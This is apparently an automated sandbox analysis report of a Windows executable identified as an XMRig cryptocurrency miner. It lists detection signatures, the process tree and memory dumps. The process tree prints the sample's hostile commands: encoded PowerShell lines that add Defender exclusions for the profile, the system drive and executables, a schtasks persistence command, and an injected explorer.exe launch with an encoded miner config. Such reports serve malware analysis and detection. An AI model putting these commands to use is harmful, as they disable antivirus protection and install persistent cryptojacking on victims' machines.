Analysis

  • max time kernel
    153s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    07/01/2022, 12:29

General

  • Target
    23516a667e98f72e36a12240cb0f0de5.exe
  • Size 4.2MB
  • Sample220107-pnw4jacfeq
  • SHA256 21054e559ffbfd37f07ce33085fb9c4ed8e9583f66aaee1f68b51ea01ab2e757
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 12 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 47 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of WriteProcessMemory 49 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\23516a667e98f72e36a12240cb0f0de5.exe
    "C:\Users\Admin\AppData\Local\Temp\23516a667e98f72e36a12240cb0f0de5.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1220
    • C:\Windows\system32\cmd.exe
      "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:976
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"
        3⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:588
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA="
        3⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1628
    • C:\Windows\system32\cmd.exe
      "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\services.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1060
      • C:\Windows\system32\schtasks.exe
        schtasks /create /f /sc onlogon /rl highest /tn "services" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\services.exe"
        3⤵
        • Creates scheduled task(s)
        PID:1832
    • C:\Windows\system32\cmd.exe
      "cmd" cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\services.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1236
      • C:\Users\Admin\AppData\Roaming\Microsoft\services.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\services.exe
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1712
        • C:\Windows\system32\cmd.exe
          "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1840
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"
            5⤵
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1720
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA="
            5⤵
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1772
        • C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost64.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost64.exe"
          4⤵
          • Executes dropped EXE
          PID:860
        • C:\Windows\explorer.exe
          C:\Windows\explorer.exe ytovbgrvfjj0 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
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:676

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/588-64-0x000000001B700000-0x000000001B9FF000-memory.dmp

        memory/588-63-0x00000000026B4000-0x00000000026B7000-memory.dmp

        memory/588-62-0x00000000026B2000-0x00000000026B4000-memory.dmp

        memory/588-69-0x00000000026BB000-0x00000000026DA000-memory.dmp

        memory/588-61-0x00000000026B0000-0x00000000026B2000-memory.dmp

        memory/588-60-0x000007FEED630000-0x000007FEEE18D000-memory.dmp

        memory/588-59-0x000007FEFC511000-0x000007FEFC513000-memory.dmp

        memory/676-127-0x0000000001E90000-0x0000000001EB0000-memory.dmp

        memory/676-126-0x0000000140000000-0x0000000140787000-memory.dmp

        memory/676-122-0x0000000140000000-0x0000000140787000-memory.dmp

        memory/676-110-0x0000000140000000-0x0000000140787000-memory.dmp

        memory/676-123-0x0000000140000000-0x0000000140787000-memory.dmp

        memory/676-121-0x0000000140000000-0x0000000140787000-memory.dmp

        memory/676-111-0x0000000140000000-0x0000000140787000-memory.dmp

        memory/676-120-0x0000000140000000-0x0000000140787000-memory.dmp

        memory/676-119-0x0000000140000000-0x0000000140787000-memory.dmp

        memory/676-118-0x0000000140000000-0x0000000140787000-memory.dmp

        memory/676-116-0x0000000140000000-0x0000000140787000-memory.dmp

        memory/676-125-0x00000000002F0000-0x0000000000310000-memory.dmp

        memory/676-112-0x0000000140000000-0x0000000140787000-memory.dmp

        memory/676-113-0x0000000140000000-0x0000000140787000-memory.dmp

        memory/676-115-0x0000000140000000-0x0000000140787000-memory.dmp

        memory/676-114-0x0000000140000000-0x0000000140787000-memory.dmp

        memory/860-117-0x000000001BEB0000-0x000000001BEB2000-memory.dmp

        memory/860-109-0x000000013FAA0000-0x000000013FAA6000-memory.dmp

        memory/860-108-0x000000013FAA0000-0x000000013FAA6000-memory.dmp

        memory/1220-54-0x000000013FF00000-0x0000000140336000-memory.dmp

        memory/1220-56-0x000000001BEE0000-0x000000001BEE2000-memory.dmp

        memory/1220-55-0x000000013FF00000-0x0000000140336000-memory.dmp

        memory/1628-70-0x00000000020A0000-0x00000000020A2000-memory.dmp

        memory/1628-68-0x000007FEECC90000-0x000007FEED7ED000-memory.dmp

        memory/1628-72-0x00000000020A4000-0x00000000020A7000-memory.dmp

        memory/1628-71-0x00000000020A2000-0x00000000020A4000-memory.dmp

        memory/1628-73-0x00000000020AB000-0x00000000020CA000-memory.dmp

        memory/1712-82-0x000000013F5D0000-0x000000013FA06000-memory.dmp

        memory/1712-81-0x000000013F5D0000-0x000000013FA06000-memory.dmp

        memory/1712-90-0x000000001BBD0000-0x000000001BBD2000-memory.dmp

        memory/1720-94-0x0000000002994000-0x0000000002997000-memory.dmp

        memory/1720-91-0x000000000299B000-0x00000000029BA000-memory.dmp

        memory/1720-93-0x0000000002992000-0x0000000002994000-memory.dmp

        memory/1720-89-0x000000001B9C0000-0x000000001BCBF000-memory.dmp

        memory/1720-88-0x000007FEED080000-0x000007FEEDBDD000-memory.dmp

        memory/1720-92-0x0000000002990000-0x0000000002992000-memory.dmp

        memory/1772-103-0x000000000285B000-0x000000000287A000-memory.dmp

        memory/1772-98-0x000007FEEC6E0000-0x000007FEED23D000-memory.dmp

        memory/1772-99-0x0000000002850000-0x0000000002852000-memory.dmp

        memory/1772-100-0x0000000002852000-0x0000000002854000-memory.dmp

        memory/1772-101-0x0000000002854000-0x0000000002857000-memory.dmp

        memory/1772-102-0x000000001B750000-0x000000001BA4F000-memory.dmp